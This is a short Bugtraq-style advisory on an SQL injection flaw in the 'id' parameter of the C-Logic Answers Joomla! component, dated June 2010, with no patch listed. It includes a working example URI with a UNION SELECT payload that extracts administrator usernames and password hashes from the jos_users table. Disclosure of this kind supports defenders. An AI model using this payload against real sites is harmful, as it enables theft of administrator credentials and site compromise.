C-Logic Answers Joomla! Component 'id' Parameter SQL Injection Vulnerability

Bugtraq ID:	40967
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 18 2010 12:00AM
Updated:	Jun 18 2010 12:00AM
Credit:	jdc
Vulnerable:	Computer-Logic C-Logic Answers 0
Not Vulnerable:

C-Logic Answers Joomla! Component 'id' Parameter SQL Injection Vulnerability

The C-Logic Answers component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

C-Logic Answers Joomla! Component 'id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_answers&task=detail&id=-1' union select concat(username,char(32),password),2,3,4,5,6,7,8,9 from jos_users where gid=25 limit 1 -- '

C-Logic Answers Joomla! Component 'id' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

C-Logic Answers Joomla! Component 'id' Parameter SQL Injection Vulnerability

References:

• Joomla! Homepage (Joomla!)